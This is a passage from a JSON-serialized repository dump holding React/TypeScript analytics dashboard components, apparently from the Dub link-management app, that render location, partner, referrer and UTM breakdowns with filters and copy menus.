            {JSON.stringify(metadata, null, 2)}\n                </pre>\n              </div>\n            </div>\n            <Button\n              icon={\n                <div className=\"relative size-4\">\n                  <div\n                    className={cn(\n                      \"absolute inset-0 transition-[transform,opacity]\",\n                      copied && \"translate-y-1 opacity-0\",\n                    )}\n                  >\n                    <Copy className=\"size-4\" />\n                  </div>\n                  <div\n                    className={cn(\n                      \"absolute inset-0 transition-[transform,opacity]\",\n                      !copied && \"translate-y-1 opacity-0\",\n                    )}\n                  >\n                    <Check className=\"size-4\" />\n                  </div>\n                </div>\n              }\n              className=\"h-9\"\n              text={copied ? \"Copied metadata\" : \"Copy metadata\"}\n              onClick={() => copyToClipboard(JSON.stringify(metadata, null, 2))}\n            />\n          </div>\n        }\n        align=\"start\"\n      >\n        <button\n          type=\"button\"\n          className=\"rounded-md border border-neutral-200 bg-white px-1.5 py-0.5 hover:bg-neutral-50\"\n        >\n          {hasMoreItems\n            ? `+${displayEntries.length - previewItems} ${pluralize(\n                \"item\",\n                displayEntries.length - previewItems,\n              )}`\n            : \"View metadata\"}\n        </button>\n      </Tooltip>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/events/row-menu-button.tsx",
    "content": "import { Button, Icon, Popover, useCopyToClipboard } from \"@dub/ui\";\nimport { Copy, Dots } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { EventDatum } from \"./events-table\";\n\nexport function RowMenuButton({ row }: { row: Row<EventDatum> }) {\n  const [isOpen, setIsOpen] = useState(false);\n  const [, copyToClipboard] = useCopyToClipboard();\n  return (\n    <Popover\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n      content={\n        <Command tabIndex={0} loop className=\"focus:outline-none\">\n          <Command.List className=\"flex w-screen flex-col gap-1 p-1 text-sm sm:w-auto sm:min-w-[130px]\">\n            {\"eventId\" in row.original && (\n              <MenuItem\n                icon={Copy}\n                label=\"Copy event ID\"\n                onSelect={() => {\n                  if (!(\"eventId\" in row.original)) return;\n                  const eventId = row.original.eventId as string;\n                  toast.promise(copyToClipboard(eventId), {\n                    success: \"Copied to clipboard\",\n                  });\n                  setIsOpen(false);\n                }}\n              />\n            )}\n            <MenuItem\n              icon={Copy}\n              label=\"Copy click ID\"\n              onSelect={() => {\n                const clickId = row.original.click_id as string;\n                toast.promise(copyToClipboard(clickId), {\n                  success: \"Copied to clipboard\",\n                });\n                setIsOpen(false);\n              }}\n            />\n          </Command.List>\n        </Command>\n      }\n      align=\"end\"\n    >\n      <Button\n        type=\"button\"\n        className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n        variant=\"outline\"\n        icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n      />\n    </Popover>\n  );\n}\n\nfunction MenuItem({\n  icon: IconComp,\n  label,\n  onSelect,\n}: {\n  icon: Icon;\n  label: string;\n  onSelect: () => void;\n}) {\n  return (\n    <Command.Item\n      className={cn(\n        \"flex cursor-pointer select-none items-center gap-2 whitespace-nowrap rounded-md px-3.5 py-2 text-sm text-neutral-950\",\n        \"data-[selected=true]:bg-neutral-100\",\n      )}\n      onSelect={onSelect}\n    >\n      <IconComp className=\"h-4 w-4 shrink-0 text-neutral-600\" />\n      {label}\n    </Command.Item>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/index.tsx",
    "content": "\"use client\";\nimport { cn } from \"@dub/utils\";\n/* \n  This Analytics component lives in several different places:\n  1. Workspace analytics page, e.g. app.dub.co/dub/analytics\n  2. Public stats page, e.g. app.dub.co/share/dash_6NSA6vNm017MZwfzt8SubNSZ\n  3. Partner program links page, e.g. partners.dub.co/programs/dub/analytics\n*/\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useContext } from \"react\";\nimport AnalyticsProvider, {\n  AnalyticsContext,\n  AnalyticsDashboardProps,\n} from \"./analytics-provider\";\nimport { ChartSection } from \"./chart-section\";\nimport { DeviceSection } from \"./device-section\";\nimport { LocationSection } from \"./location-section\";\nimport { ReferrersUTMs } from \"./referrers-utms\";\nimport { AnalyticsToggle } from \"./toggle\";\nimport { TopLinks } from \"./top-links\";\n\nexport default function Analytics({\n  adminPage,\n  dashboardProps,\n}: {\n  adminPage?: boolean;\n  dashboardProps?: AnalyticsDashboardProps;\n}) {\n  return (\n    <AnalyticsProvider {...{ adminPage, dashboardProps }}>\n      <AnalyticsContext.Consumer>\n        {({ dashboardProps }) => {\n          return (\n            <div\n              className={cn(\"pb-10\", dashboardProps && \"bg-neutral-50 pt-10\")}\n            >\n              <AnalyticsToggle />\n              <div\n                className={cn(\n                  \"mx-auto grid max-w-screen-xl gap-5 px-3 lg:px-10\",\n                  // TODO: [PageContent] Remove once all pages are migrated to the new PageContent\n                  !dashboardProps && !adminPage && \"lg:px-6\",\n                )}\n              >\n                <ChartSection />\n                <StatsGrid />\n              </div>\n            </div>\n          );\n        }}\n      </AnalyticsContext.Consumer>\n    </AnalyticsProvider>\n  );\n}\n\nfunction StatsGrid() {\n  const { dashboardProps, selectedTab, view } = useContext(AnalyticsContext);\n  const { plan } = useWorkspace();\n\n  const hide =\n    (selectedTab === \"leads\" || selectedTab === \"sales\" || view === \"funnel\") &&\n    (plan === \"free\" || plan === \"pro\");\n\n  return hide ? null : (\n    <div className=\"grid grid-cols-1 gap-5 md:grid-cols-2\">\n      {!dashboardProps?.key && <TopLinks />}\n      <ReferrersUTMs />\n      <LocationSection />\n      <DeviceSection />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/link-preview.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { LinkProps } from \"@/lib/types\";\nimport { CopyButton, LinkLogo } from \"@dub/ui\";\nimport { ArrowTurnRight2, ArrowUpRight } from \"@dub/ui/icons\";\nimport { getApexDomain, getPrettyUrl, linkConstructor } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { CommentsBadge } from \"../links/comments-badge\";\n\nexport default function LinkPreviewTooltip({ data }: { data: LinkProps }) {\n  const { slug } = useWorkspace();\n  const { domain, key, url, comments } = data;\n\n  return (\n    <div className=\"group relative flex w-[28rem] items-center justify-between px-4 py-2\">\n      <div className=\"flex items-center gap-x-2\">\n        <div className=\"relative flex-none rounded-full border border-neutral-200 bg-gradient-to-t from-neutral-100 pr-0.5 sm:p-2\">\n          <LinkLogo\n            apexDomain={getApexDomain(url)}\n            className=\"h-4 w-4 shrink-0 transition-[width,height] sm:h-6 sm:w-6 group-data-[variant=loose]/card-list:sm:h-5 group-data-[variant=loose]/card-list:sm:w-5\"\n          />\n        </div>\n        <div>\n          <div className=\"min-w-0 shrink grow-0 text-neutral-950\">\n            <div className=\"flex items-center gap-2\">\n              <a\n                href={linkConstructor({ domain, key })}\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                title={linkConstructor({ domain, key, pretty: true })}\n                className=\"truncate text-sm font-semibold leading-6 text-neutral-800 transition-colors hover:text-black\"\n              >\n                {linkConstructor({ domain, key, pretty: true })}\n              </a>\n              <CopyButton\n                value={linkConstructor({\n                  domain,\n                  key,\n                  pretty: false,\n                })}\n                variant=\"neutral\"\n                className=\"p-1.5\"\n              />\n              {comments && <CommentsBadge comments={comments} />}\n            </div>\n          </div>\n          <div className=\"flex min-w-0 items-center gap-1 text-sm\">\n            <ArrowTurnRight2 className=\"h-3 w-3 shrink-0 text-neutral-400\" />\n            {url ? (\n              <a\n                href={url}\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                title={url}\n                className=\"max-w-[20rem] truncate text-neutral-500 transition-colors hover:text-neutral-700 hover:underline hover:underline-offset-2\"\n              >\n                {getPrettyUrl(url)}\n              </a>\n            ) : (\n              <span className=\"truncate text-neutral-400\">\n                No URL configured\n              </span>\n            )}\n          </div>\n        </div>\n      </div>\n      {slug && (\n        <Link\n          href={`/${slug}/links/${domain}/${key}`}\n          target=\"_blank\"\n          onClick={(e) => e.stopPropagation()}\n          className=\"flex size-8 items-center justify-center rounded-full bg-neutral-50 transition-colors hover:bg-neutral-100\"\n        >\n          <ArrowUpRight className=\"size-3.5 text-neutral-400 transition-all group-hover:scale-110 group-hover:text-neutral-500\" />\n        </Link>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/location-section.tsx",
    "content": "import { SINGULAR_ANALYTICS_ENDPOINTS } from \"@/lib/analytics/constants\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport {\n  FlagWavy,\n  LocationPin,\n  MapPosition,\n  OfficeBuilding,\n} from \"@dub/ui/icons\";\nimport { CONTINENTS, COUNTRIES, REGIONS } from \"@dub/utils\";\nimport { useCallback, useContext, useEffect, useMemo, useState } from \"react\";\nimport { AnalyticsCard } from \"./analytics-card\";\nimport { AnalyticsLoadingSpinner } from \"./analytics-loading-spinner\";\nimport { AnalyticsContext } from \"./analytics-provider\";\nimport { BarList } from \"./bar-list\";\nimport { ContinentIcon } from \"./continent-icon\";\nimport { useAnalyticsFilterOption } from \"./utils\";\n\nexport function LocationSection() {\n  const { queryParams, searchParams } = useRouterStuff();\n\n  const { selectedTab, saleUnit } = useContext(AnalyticsContext);\n  const dataKey = selectedTab === \"sales\" ? saleUnit : \"count\";\n\n  const [tab, setTab] = useState<\n    \"countries\" | \"cities\" | \"regions\" | \"continents\"\n  >(\"countries\");\n\n  const { data } = useAnalyticsFilterOption(tab);\n  const { data: allData } = useAnalyticsFilterOption(tab, {\n    omitGroupByFilterKey: true,\n  });\n  const singularTabName = SINGULAR_ANALYTICS_ENDPOINTS[tab];\n\n  const [selectedItems, setSelectedItems] = useState<string[]>([]);\n\n  useEffect(() => {\n    setSelectedItems([]);\n  }, [tab]);\n\n  const onToggleFilter = useCallback((val: string) => {\n    setSelectedItems((prev) =>\n      prev.includes(val) ? prev.filter((v) => v !== val) : [...prev, val],\n    );\n  }, []);\n\n  const onApplyFilterValues = useCallback(\n    (values: string[]) => {\n      if (values.length === 0) {\n        queryParams({ del: singularTabName });\n      } else {\n        queryParams({ set: { [singularTabName]: values.join(\",\") } });\n      }\n      setSelectedItems([]);\n    },\n    [singularTabName, queryParams],\n  );\n\n  const isFilterActive = searchParams.has(singularTabName);\n  const activeFilterValues = useMemo(\n    () => searchParams.get(singularTabName)?.split(\",\") ?? [],\n    [singularTabName, searchParams],\n  );\n\n  const onClearFilter = useCallback(() => {\n    setSelectedItems([]);\n    if (isFilterActive) queryParams({ del: singularTabName });\n  }, [singularTabName, queryParams, isFilterActive]);\n\n  return (\n    <AnalyticsCard\n      tabs={[\n        { id: \"countries\", label: \"Countries\", icon: FlagWavy },\n        { id: \"cities\", label: \"Cities\", icon: OfficeBuilding },\n        { id: \"regions\", label: \"Regions\", icon: LocationPin },\n        { id: \"continents\", label: \"Continents\", icon: MapPosition },\n      ]}\n      selectedTabId={tab}\n      onSelectTab={setTab}\n      expandLimit={8}\n      dataLength={data?.length}\n      isFilterActive={isFilterActive}\n      onClearFilter={onClearFilter}\n    >\n      {({ limit, setShowModal }) =>\n        data ? (\n          data.length > 0 ? (\n            <BarList\n              tab={singularTabName}\n              data={\n                data\n                  ?.map((d) => ({\n                    icon:\n                      tab === \"continents\" ? (\n                        <ContinentIcon\n                          display={d.continent}\n                          className=\"size-4 rounded-full border border-cyan-500\"\n                        />\n                      ) : (\n                        <img\n                          alt={d.country}\n                          src={`https://hatscripts.github.io/circle-flags/flags/${d.country.toLowerCase()}.svg`}\n                          className=\"size-4 shrink-0\"\n                        />\n                      ),\n                    title:\n                      tab === \"continents\"\n                        ? CONTINENTS[d.continent]\n                        : tab === \"countries\"\n                          ? COUNTRIES[d.country]\n                          : `${tab === \"cities\" ? `${d.city}, ` : \"\"}${\n                              REGIONS[d.region] ||\n                              (d.region.endsWith(\"-Unknown\")\n                                ? COUNTRIES[d.country]\n                                : d.region.split(\"-\")[1])\n                            }`,\n                    filterValue: d[singularTabName],\n                    value: d[dataKey] || 0,\n                  }))\n                  ?.sort((a, b) => b.value - a.value) || []\n              }\n              allData={allData\n                ?.map((d) => ({\n                  icon:\n                    tab === \"continents\" ? (\n                      <ContinentIcon\n                        display={d.continent}\n                        className=\"size-4 rounded-full border border-cyan-500\"\n                      />\n                    ) : (\n                      <img\n                        alt={d.country}\n                        src={`https://hatscripts.github.io/circle-flags/flags/${d.country.toLowerCase()}.svg`}\n                        className=\"size-4 shrink-0\"\n                      />\n                    ),\n                  title:\n                    tab === \"continents\"\n                      ? CONTINENTS[d.continent]\n                      : tab === \"countries\"\n                        ? COUNTRIES[d.country]\n                        : `${tab === \"cities\" ? `${d.city}, ` : \"\"}${\n                            REGIONS[d.region] ||\n                            (d.region.endsWith(\"-Unknown\")\n                              ? COUNTRIES[d.country]\n                              : d.region.split(\"-\")[1])\n                          }`,\n                  filterValue: d[singularTabName],\n                  value: d[dataKey] || 0,\n                }))\n                ?.sort((a, b) => b.value - a.value)}\n              unit={selectedTab}\n              maxValue={Math.max(...data.map((d) => d[dataKey] ?? 0)) ?? 0}\n              barBackground=\"bg-blue-100\"\n              hoverBackground=\"hover:bg-gradient-to-r hover:from-blue-50 hover:to-transparent hover:border-blue-500\"\n              filterSelectedBackground=\"bg-blue-600\"\n              filterSelectedHoverBackground=\"hover:bg-blue-700\"\n              filterHoverClass=\"bg-white border border-blue-200\"\n              setShowModal={setShowModal}\n              selectedFilterValues={selectedItems}\n              activeFilterValues={activeFilterValues}\n              onToggleFilter={onToggleFilter}\n              onClearFilter={onClearFilter}\n              onClearSelection={() => setSelectedItems([])}\n              onApplyFilterValues={onApplyFilterValues}\n              {...(limit && { limit })}\n            />\n          ) : (\n            <div className=\"flex h-[300px] items-center justify-center\">\n              <p className=\"text-sm text-neutral-600\">No data available</p>\n            </div>\n          )\n        ) : (\n          <div className=\"absolute inset-0 flex h-[300px] w-full items-center justify-center bg-white/50\">\n            <AnalyticsLoadingSpinner />\n          </div>\n        )\n      }\n    </AnalyticsCard>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/partner-section.tsx",
    "content": "import { AnalyticsGroupByOptions } from \"@/lib/analytics/types\";\nimport { useWorkspacePreferences } from \"@/lib/swr/use-workspace-preferences\";\nimport { LinkLogo, useRouterStuff } from \"@dub/ui\";\nimport { Hyperlink, Users6 } from \"@dub/ui/icons\";\nimport { getApexDomain } from \"@dub/utils\";\nimport { useCallback, useContext, useEffect, useMemo, useState } from \"react\";\nimport TagBadge from \"../links/tag-badge\";\nimport { GroupColorCircle } from \"../partners/groups/group-color-circle\";\nimport { AnalyticsCard } from \"./analytics-card\";\nimport { AnalyticsLoadingSpinner } from \"./analytics-loading-spinner\";\nimport { AnalyticsContext } from \"./analytics-provider\";\nimport { BarList } from \"./bar-list\";\nimport { useAnalyticsFilterOption } from \"./utils\";\n\ntype TabId = \"segments\" | \"links\";\ntype SegmentsSubtab = \"groups\" | \"tags\";\ntype LinksSubtab = \"short_links\" | \"destination_urls\";\ntype Subtab = SegmentsSubtab | LinksSubtab;\n\nconst TAB_CONFIG: Record<\n  TabId,\n  {\n    subtabs: Subtab[];\n    defaultSubtab: Subtab;\n    getSubtabLabel: (subtab: Subtab) => string;\n    getGroupBy: (subtab: Subtab) => {\n      groupBy: AnalyticsGroupByOptions;\n    };\n  }\n> = {\n  segments: {\n    subtabs: [\"groups\", \"tags\"],\n    defaultSubtab: \"groups\",\n    getSubtabLabel: (subtab) => {\n      if (subtab === \"groups\") return \"Groups\";\n      return \"Tags\";\n    },\n    getGroupBy: (subtab): { groupBy: AnalyticsGroupByOptions } => {\n      if (subtab === \"groups\") return { groupBy: \"top_groups\" };\n      return { groupBy: \"top_link_tags\" };\n    },\n  },\n  links: {\n    subtabs: [\"short_links\", \"destination_urls\"],\n    defaultSubtab: \"short_links\",\n    getSubtabLabel: (subtab) => {\n      if (subtab === \"short_links\") return \"Short Links\";\n      return \"Destination URLs\";\n    },\n    getGroupBy: (subtab): { groupBy: AnalyticsGroupByOptions } => {\n      if (subtab === \"short_links\") return { groupBy: \"top_links\" };\n      return { groupBy: \"top_base_urls\" };\n    },\n  },\n};\n\nexport function PartnerSection() {\n  const { queryParams, searchParams } = useRouterStuff();\n\n  const { selectedTab, saleUnit, adminPage, partnerPage } =\n    useContext(AnalyticsContext);\n  const dataKey = selectedTab === \"sales\" ? saleUnit : \"count\";\n\n  const [tab, setTab] = useState<TabId>(\"segments\");\n  const [subtab, setSubtab] = useState<Subtab>(TAB_CONFIG[tab].defaultSubtab);\n  const [selectedItems, setSelectedItems] = useState<string[]>([]);\n\n  // Reset subtab when tab changes to ensure it's valid for the new tab\n  const handleTabChange = (newTab: TabId) => {\n    setTab(newTab);\n    setSubtab(TAB_CONFIG[newTab].defaultSubtab);\n  };\n\n  useEffect(() => {\n    setSelectedItems([]);\n  }, [tab, subtab]);\n\n  const isFilterActive = useMemo(() => {\n    if (subtab === \"groups\") return searchParams.has(\"groupId\");\n    if (subtab === \"tags\") return searchParams.has(\"tagId\");\n    if (subtab === \"short_links\") return searchParams.has(\"linkId\");\n    if (subtab === \"destination_urls\") return searchParams.has(\"url\");\n    return false;\n  }, [subtab, searchParams]);\n\n  const activeFilterValues = useMemo(() => {\n    if (subtab === \"groups\")\n      return searchParams.get(\"groupId\")?.split(\",\") ?? [];\n    if (subtab === \"tags\") return searchParams.get(\"tagId\")?.split(\",\") ?? [];\n    if (subtab === \"short_links\")\n      return searchParams.get(\"linkId\")?.split(\",\") ?? [];\n    if (subtab === \"destination_urls\")\n      return searchParams.get(\"url\")?.split(\",\") ?? [];\n    return [];\n  }, [subtab, searchParams]);\n\n  const filterParamKey = useMemo(() => {\n    if (subtab === \"groups\") return \"groupId\";\n    if (subtab === \"tags\") return \"tagId\";\n    if (subtab === \"short_links\") return \"linkId\";\n    if (subtab === \"destination_urls\") return \"url\";\n    return null;\n  }, [subtab]);\n\n  const onToggleFilter = useCallback((val: string) => {\n    setSelectedItems((prev) =>\n      prev.includes(val) ? prev.filter((v) => v !== val) : [...prev, val],\n    );\n  }, []);\n\n  const onApplyFilterValues = useCallback(\n    (values: string[]) => {\n      if (!filterParamKey) return;\n      if (values.length === 0) {\n        queryParams({ del: filterParamKey });\n      } else {\n        queryParams({ set: { [filterParamKey]: values.join(\",\") } });\n      }\n      setSelectedItems([]);\n    },\n    [filterParamKey, queryParams],\n  );\n\n  const onClearFilter = useCallback(() => {\n    setSelectedItems([]);\n    if (isFilterActive && filterParamKey) queryParams({ del: filterParamKey });\n  }, [filterParamKey, queryParams, isFilterActive]);\n\n  const groupByParams = useMemo(\n    () => TAB_CONFIG[tab].getGroupBy(subtab),\n    [tab, subtab],\n  );\n\n  const { data } = useAnalyticsFilterOption(groupByParams);\n  const { data: allData } = useAnalyticsFilterOption(groupByParams, {\n    omitGroupByFilterKey: true,\n  });\n\n  const [persisted] = useWorkspacePreferences(\"linksDisplay\");\n\n  const getItemTitle = useCallback(\n    (d: Record<string, any>) => {\n      if (tab === \"links\") {\n        if (subtab === \"destination_urls\") {\n          return d.url || \"Unknown\";\n        }\n        // For short links\n        const displayProperties = persisted?.displayProperties;\n        if (displayProperties?.includes(\"title\") && d.title) {\n          return d.title;\n        }\n        return d.shortLink || \"Unknown\";\n      }\n\n      // For segments tab\n      if (subtab === \"groups\") {\n        return d.group?.name || \"Unknown\";\n      }\n      if (subtab === \"tags\") {\n        return d.tag?.name || \"Unknown\";\n      }\n\n      return \"Unknown\";\n    },\n    [persisted, tab, subtab],\n  );\n\n  const mapItem = useCallback(\n    (d: Record<string, any>) => {\n      const isSegmentsTab = tab === \"segments\";\n      const isLinksTab = tab === \"links\";\n      const isGroupsSubtab = isSegmentsTab && subtab === \"groups\";\n      const isTagsSubtab = isSegmentsTab && subtab === \"tags\";\n      const isShortLinksSubtab = isLinksTab && subtab === \"short_links\";\n      const isDestinationUrlsSubtab =\n        isLinksTab && subtab === \"destination_urls\";\n\n      let icon;\n      if (isGroupsSubtab) {\n        icon = d.group ? <GroupColorCircle group={d.group} /> : null;\n      } else if (isTagsSubtab) {\n        icon = d.tag ? (\n          <TagBadge color={d.tag.color} withIcon className=\"sm:p-1\" />\n        ) : null;\n      } else {\n        icon = (\n          <LinkLogo\n            apexDomain={getApexDomain(d.url || \"\")}\n            className=\"size-5 sm:size-5\"\n          />\n        );\n      }\n\n      let filterValue: string | undefined;\n      if (isGroupsSubtab) filterValue = d.groupId;\n      else if (isTagsSubtab) filterValue = d.tagId;\n      else if (isShortLinksSubtab) filterValue = d.id;\n      else if (isDestinationUrlsSubtab) filterValue = d.url;\n\n      return {\n        icon,\n        title: getItemTitle(d),\n        filterValue,\n        value: d[dataKey] || 0,\n        ...(isShortLinksSubtab && { linkData: d }),\n      };\n    },\n    [tab, subtab, dataKey, getItemTitle],\n  );\n\n  const subTabProps = useMemo(() => {\n    if (adminPage || partnerPage) return {};\n    const config = TAB_CONFIG[tab];\n    return {\n      subTabs: config.subtabs.map((s) => ({\n        id: s,\n        label: config.getSubtabLabel(s),\n      })),\n      selectedSubTabId: subtab,\n      onSelectSubTab: setSubtab,\n    };\n  }, [tab, subtab, adminPage, partnerPage]);\n\n  return (\n    <AnalyticsCard\n      tabs={[\n        { id: \"segments\", label: \"Partner Segments\", icon: Users6 },\n        { id: \"links\", label: \"Partner Links\", icon: Hyperlink },\n      ]}\n      expandLimit={8}\n      dataLength={data?.length}\n      isFilterActive={isFilterActive}\n      onClearFilter={onClearFilter}\n      selectedTabId={tab}\n      onSelectTab={handleTabChange}\n      {...subTabProps}\n    >\n      {({ limit, setShowModal }) =>\n        data ? (\n          data.length > 0 ? (\n            <BarList\n              tab={tab}\n              data={data.map(mapItem).sort((a, b) => b.value - a.value)}\n              allData={allData?.map(mapItem).sort((a, b) => b.value - a.value)}\n              unit={selectedTab}\n              maxValue={Math.max(...data.map((d) => d[dataKey] ?? 0))}\n              barBackground=\"bg-orange-100\"\n              hoverBackground=\"hover:bg-gradient-to-r hover:from-orange-50 hover:to-transparent hover:border-orange-500\"\n              filterSelectedBackground=\"bg-orange-500\"\n              filterSelectedHoverBackground=\"hover:bg-orange-600\"\n              filterHoverClass=\"bg-white border border-orange-200\"\n              setShowModal={setShowModal}\n              selectedFilterValues={selectedItems}\n              activeFilterValues={activeFilterValues}\n              onToggleFilter={onToggleFilter}\n              onClearFilter={onClearFilter}\n              onClearSelection={() => setSelectedItems([])}\n              onApplyFilterValues={\n                filterParamKey ? onApplyFilterValues : undefined\n              }\n              {...(limit && { limit })}\n            />\n          ) : (\n            <div className=\"flex h-[300px] items-center justify-center\">\n              <p className=\"text-sm text-neutral-600\">No data available</p>\n            </div>\n          )\n        ) : (\n          <div className=\"absolute inset-0 flex h-[300px] w-full items-center justify-center bg-white/50\">\n            <AnalyticsLoadingSpinner />\n          </div>\n        )\n      }\n    </AnalyticsCard>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/referrer-icon.tsx",
    "content": "import { LinkLogo } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Link2 } from \"lucide-react\";\n\nexport function ReferrerIcon({\n  display,\n  className,\n}: {\n  display: string;\n  className?: string;\n}) {\n  return display === \"(direct)\" ? (\n    <Link2 className={cn(\"h-4 w-4\", className)} />\n  ) : (\n    <LinkLogo\n      apexDomain={display}\n      className={cn(\"h-4 w-4 sm:h-4 sm:w-4\", className)}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/referrers-utms.tsx",
    "content": "import { SINGULAR_ANALYTICS_ENDPOINTS } from \"@/lib/analytics/constants\";\nimport { UTM_TAGS_PLURAL, UTM_TAGS_PLURAL_LIST } from \"@/lib/zod/schemas/utm\";\nimport { BlurImage, useRouterStuff, UTM_PARAMETERS } from \"@dub/ui\";\nimport { Note, ReferredVia } from \"@dub/ui/icons\";\nimport { getApexDomain, GOOGLE_FAVICON_URL } from \"@dub/utils\";\nimport { Link2 } from \"lucide-react\";\nimport { useCallback, useContext, useEffect, useMemo, useState } from \"react\";\nimport { AnalyticsCard } from \"./analytics-card\";\nimport { AnalyticsLoadingSpinner } from \"./analytics-loading-spinner\";\nimport { AnalyticsContext } from \"./analytics-provider\";\nimport { BarList } from \"./bar-list\";\nimport { useAnalyticsFilterOption } from \"./utils\";\n\ntype TabId = \"referers\" | \"utms\";\ntype RefererSubtab = \"referers\" | \"referer_urls\";\ntype Subtab = UTM_TAGS_PLURAL | RefererSubtab;\n\nconst TAB_CONFIG: Record<\n  TabId,\n  {\n    subtabs: Subtab[];\n    defaultSubtab: Subtab;\n    getSubtabLabel: (subtab: Subtab) => string;\n  }\n> = {\n  referers: {\n    subtabs: [\"referers\", \"referer_urls\"],\n    defaultSubtab: \"referers\",\n    getSubtabLabel: (subtab) => (subtab === \"referers\" ? \"Domain\" : \"URL\"),\n  },\n  utms: {\n    subtabs: [...UTM_TAGS_PLURAL_LIST] as Subtab[],\n    defaultSubtab: \"utm_sources\" as Subtab,\n    getSubtabLabel: (subtab) =>\n      SINGULAR_ANALYTICS_ENDPOINTS[subtab as UTM_TAGS_PLURAL].replace(\n        \"utm_\",\n        \"\",\n      ),\n  },\n};\n\nexport function ReferrersUTMs() {\n  const { queryParams, searchParams } = useRouterStuff();\n\n  const { selectedTab, saleUnit } = useContext(AnalyticsContext);\n  const dataKey = selectedTab === \"sales\" ? saleUnit : \"count\";\n\n  const [tab, setTab] = useState<TabId>(\"referers\");\n  const [subtab, setSubtab] = useState<Subtab>(TAB_CONFIG[tab].defaultSubtab);\n  const [selectedItems, setSelectedItems] = useState<string[]>([]);\n\n  // Reset subtab when tab changes to ensure it's valid for the new tab\n  const handleTabChange = (newTab: TabId) => {\n    setTab(newTab);\n    setSubtab(TAB_CONFIG[newTab].defaultSubtab);\n  };\n\n  const { data } = useAnalyticsFilterOption({\n    groupBy: subtab,\n  });\n  const { data: allData } = useAnalyticsFilterOption(\n    { groupBy: subtab },\n    { omitGroupByFilterKey: true },\n  );\n\n  const singularTabName = SINGULAR_ANALYTICS_ENDPOINTS[subtab];\n\n  useEffect(() => {\n    setSelectedItems([]);\n  }, [tab, subtab]);\n\n  const onToggleFilter = useCallback((val: string) => {\n    setSelectedItems((prev) =>\n      prev.includes(val) ? prev.filter((v) => v !== val) : [...prev, val],\n    );\n  }, []);\n\n  const onApplyFilterValues = useCallback(\n    (values: string[]) => {\n      if (values.length === 0) {\n        queryParams({ del: singularTabName });\n      } else {\n        queryParams({ set: { [singularTabName]: values.join(\",\") } });\n      }\n      setSelectedItems([]);\n    },\n    [singularTabName, queryParams],\n  );\n\n  const isFilterActive = searchParams.has(singularTabName);\n  const activeFilterValues = useMemo(\n    () => searchParams.get(singularTabName)?.split(\",\") ?? [],\n    [singularTabName, searchParams],\n  );\n\n  const onClearFilter = useCallback(() => {\n    setSelectedItems([]);\n    if (isFilterActive) queryParams({ del: singularTabName });\n  }, [singularTabName, queryParams, isFilterActive]);\n\n  const UTMTagIcon = useMemo(() => {\n    if (tab === \"utms\") {\n      return UTM_PARAMETERS.find(\n        (p) => p.key === (subtab as UTM_TAGS_PLURAL).slice(0, -1),\n      )?.icon;\n    }\n    return null;\n  }, [tab, subtab]);\n\n  const subTabProps = useMemo(() => {\n    const config = TAB_CONFIG[tab];\n    return {\n      subTabs: config.subtabs.map((s) => ({\n        id: s,\n        label: config.getSubtabLabel(s),\n      })),\n      selectedSubTabId: subtab,\n      onSelectSubTab: setSubtab,\n    };\n  }, [tab, subtab]);\n\n  return (\n    <AnalyticsCard\n      tabs={[\n        { id: \"referers\", label: \"Referrers\", icon: ReferredVia },\n        { id: \"utms\", label: \"UTM Parameters\", icon: Note },\n      ]}\n      selectedTabId={tab}\n      onSelectTab={handleTabChange}\n      {...subTabProps}\n      expandLimit={8}\n      dataLength={data?.length}\n      isFilterActive={isFilterActive}\n      onClearFilter={onClearFilter}\n    >\n      {({ limit, setShowModal }) => (\n        <>\n          {data ? (\n            data.length > 0 ? (\n              <BarList\n                tab={tab === \"referers\" ? \"Referrer\" : \"UTM Parameter\"}\n                data={\n                  data\n                    ?.map((d) => {\n                      const isUtmTab = tab === \"utms\";\n                      const isDirect = d[singularTabName] === \"(direct)\";\n                      const isRefererUrl = subtab === \"referer_urls\";\n\n                      return {\n                        icon:\n                          isUtmTab && UTMTagIcon ? (\n                            <UTMTagIcon />\n                          ) : isDirect ? (\n                            <Link2 className=\"h-4 w-4\" />\n                          ) : (\n                            <BlurImage\n                              src={`${GOOGLE_FAVICON_URL}${\n                                isRefererUrl\n                                  ? getApexDomain(d[singularTabName])\n                                  : d[singularTabName]\n                              }`}\n                              alt={d[singularTabName]}\n                              width={20}\n                              height={20}\n                              className=\"h-4 w-4 rounded-full\"\n                            />\n                          ),\n                        title: d[singularTabName],\n                        filterValue: d[singularTabName],\n                        value: d[dataKey] || 0,\n                      };\n                    })\n                    ?.sort((a, b) => b.value - a.value) || []\n                }\n                allData={allData\n                  ?.map((d) => {\n                    const isUtmTab = tab === \"utms\";\n                    const isDirect = d[singularTabName] === \"(direct)\";\n                    const isRefererUrl = subtab === \"referer_urls\";\n                    return {\n                      icon:\n                        isUtmTab && UTMTagIcon ? (\n                          <UTMTagIcon />\n                        ) : isDirect ? (\n                          <Link2 className=\"h-4 w-4\" />\n                        ) : (\n                          <BlurImage\n                            src={`${GOOGLE_FAVICON_URL}${\n                              isRefererUrl\n                                ? getApexDomain(d[singularTabName])\n                                : d[singularTabName]\n                            }`}\n                            alt={d[singularTabName]}\n                            width={20}\n                            height={20}\n                            className=\"h-4 w-4 rounded-full\"\n                          />\n                        ),\n                      title: d[singularTabName],\n                      filterValue: d[singularTabName],\n                      value: 